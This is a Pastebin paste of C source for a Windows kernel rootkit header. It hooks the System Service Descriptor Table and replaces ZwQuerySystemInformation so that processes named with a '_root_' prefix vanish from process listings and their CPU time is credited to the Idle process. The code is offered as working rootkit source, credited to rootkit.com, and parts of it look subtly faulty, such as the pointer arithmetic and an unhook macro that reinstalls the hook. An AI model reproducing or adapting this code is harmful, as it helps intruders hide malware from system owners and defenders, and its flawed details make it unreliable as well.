Guest User

SSDT_Hook.h

a guest
Dec 14th, 2016
211
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.74 KB | None | 0 0
  1. #pragma once
  2.  
  3. #include <ntddk.h>
  4.  
  5. #pragma pack(1)
  6. typedef struct ServiceDescriptorEntry {
  7.         unsigned int *ServiceTableBase;
  8.         unsigned int *ServiceCounterTableBase; //Used only in checked build
  9.         unsigned int NumberOfServices;
  10.         unsigned char *ParamTableBase;
  11. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
  12. #pragma pack()
  13.  
  14. __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
  15. #define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
  16.  
  17.  
  18. PMDL  g_pmdlSystemCall;
  19. PVOID *MappedSystemCallTable;
  20. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  21. #define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
  22.         _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  23.  
  24. #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
  25.        InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  26.  
  27.  
  28. struct _SYSTEM_THREADS
  29. {
  30.         LARGE_INTEGER           KernelTime;
  31.         LARGE_INTEGER           UserTime;
  32.         LARGE_INTEGER           CreateTime;
  33.         ULONG                           WaitTime;
  34.         PVOID                           StartAddress;
  35.         CLIENT_ID                       ClientIs;
  36.         KPRIORITY                       Priority;
  37.         KPRIORITY                       BasePriority;
  38.         ULONG                           ContextSwitchCount;
  39.         ULONG                           ThreadState;
  40.         KWAIT_REASON            WaitReason;
  41. };
  42.  
  43. struct _SYSTEM_PROCESSES
  44. {
  45.         ULONG                           NextEntryDelta;
  46.         ULONG                           ThreadCount;
  47.         ULONG                           Reserved[6];
  48.         LARGE_INTEGER           CreateTime;
  49.         LARGE_INTEGER           UserTime;
  50.         LARGE_INTEGER           KernelTime;
  51.         UNICODE_STRING          ProcessName;
  52.         KPRIORITY                       BasePriority;
  53.         ULONG                           ProcessId;
  54.         ULONG                           InheritedFromProcessId;
  55.         ULONG                           HandleCount;
  56.         ULONG                           Reserved2[2];
  57.         VM_COUNTERS                     VmCounters;
  58.         IO_COUNTERS                     IoCounters; //windows 2000 only
  59.         struct _SYSTEM_THREADS          Threads[1];
  60. };
  61.  
  62. struct _SYSTEM_PROCESSOR_TIMES
  63. {
  64.         LARGE_INTEGER                   IdleTime;
  65.         LARGE_INTEGER                   KernelTime;
  66.         LARGE_INTEGER                   UserTime;
  67.         LARGE_INTEGER                   DpcTime;
  68.         LARGE_INTEGER                   InterruptTime;
  69.         ULONG                           InterruptCount;
  70. };
  71.  
  72.  
  73. NTSYSAPI
  74. NTSTATUS
  75. NTAPI ZwQuerySystemInformation(
  76.             IN ULONG SystemInformationClass,
  77.                         IN PVOID SystemInformation,
  78.                         IN ULONG SystemInformationLength,
  79.                         OUT PULONG ReturnLength);
  80.  
  81.  
  82. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
  83.             ULONG SystemInformationCLass,
  84.                         PVOID SystemInformation,
  85.                         ULONG SystemInformationLength,
  86.                         PULONG ReturnLength
  87. );
  88.  
  89. ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
  90.  
  91. // Added by Creative of rootkit.com
  92. LARGE_INTEGER                   m_UserTime;
  93. LARGE_INTEGER                   m_KernelTime;
  94.  
  95.  
  96. /////////////////////////////////////////////////////////////////////////
  97. //// NewZwQuerySystemInformation function
  98. ////
  99. //// ZwQuerySystemInformation() returns a linked list of processes.
  100. //// The function below imitates it, except it removes from the list any
  101. //// process who's name begins with "_root_".
  102. //
  103. NTSTATUS NewZwQuerySystemInformation(
  104.             IN ULONG SystemInformationClass,
  105.             IN PVOID SystemInformation,
  106.             IN ULONG SystemInformationLength,
  107.             OUT PULONG ReturnLength)
  108. {
  109.     DbgPrint("In NewZwQuerySystemInformation");
  110.  
  111.     NTSTATUS ntStatus;
  112.  
  113.     ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
  114.                     SystemInformationClass,
  115.                     SystemInformation,
  116.                     SystemInformationLength,
  117.                     ReturnLength );
  118.  
  119.     if( NT_SUCCESS(ntStatus))
  120.     {
  121.         // Asking for a file and directory listing
  122.         if(SystemInformationClass == 5)
  123.         {
  124.             // This is a query for the process list.
  125.             // Look for process names that start with
  126.             // '_root_' and filter them out.
  127.  
  128.             struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
  129.             struct _SYSTEM_PROCESSES *prev = NULL;
  130.  
  131.             while(curr)
  132.             {
  133.                 DbgPrint("Current item is %x\n", curr);
  134.  
  135.                 if (curr->ProcessName.Buffer != NULL)
  136.                 {
  137.                     if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
  138.                     {
  139.                         // these 2
  140.  
  141.                         m_UserTime.QuadPart += curr->UserTime.QuadPart;
  142.                         m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
  143. //
  144.                         if(prev) // Middle or Last entry
  145.                         {
  146.                             // here
  147.                             if(curr->NextEntryDelta)
  148.                                 prev->NextEntryDelta += curr->NextEntryDelta;
  149.                             else    // we are last, so make prev the end
  150.                                 prev->NextEntryDelta = 0;
  151.                         }
  152.                         else
  153.                         {
  154. //                          // we are first in the list, so move it forward
  155.                             if(curr->NextEntryDelta)
  156.                                 SystemInformation += curr->NextEntryDelta;
  157.                             else // we are the only process!
  158.                                 SystemInformation = NULL;
  159.                         }
  160.                     }
  161.                 }
  162.                 else // This is the entry for the Idle process
  163.                 {
  164.                     // Add the kernel and user times of _root_*
  165.                     // processes to the Idle process.
  166.                     curr->UserTime.QuadPart   += m_UserTime.QuadPart;
  167.                     curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
  168.  
  169.                     // Reset the timers for next time we filter
  170.                     m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
  171.                 }
  172.  
  173.                 prev = curr;
  174.                 if(curr->NextEntryDelta)
  175.                     curr += curr->NextEntryDelta;
  176.                 else
  177.                     curr = NULL;
  178.             }
  179.         }
  180.         else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
  181.         {
  182.             struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
  183.             times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
  184.         }
  185.     }
  186.     else
  187.     {
  188.         DbgPrint("Failed: NewZwQuerySystemInformation");
  189.     }
  190.  
  191.     return ntStatus;
  192. }
Add Comment
Please, Sign In to add comment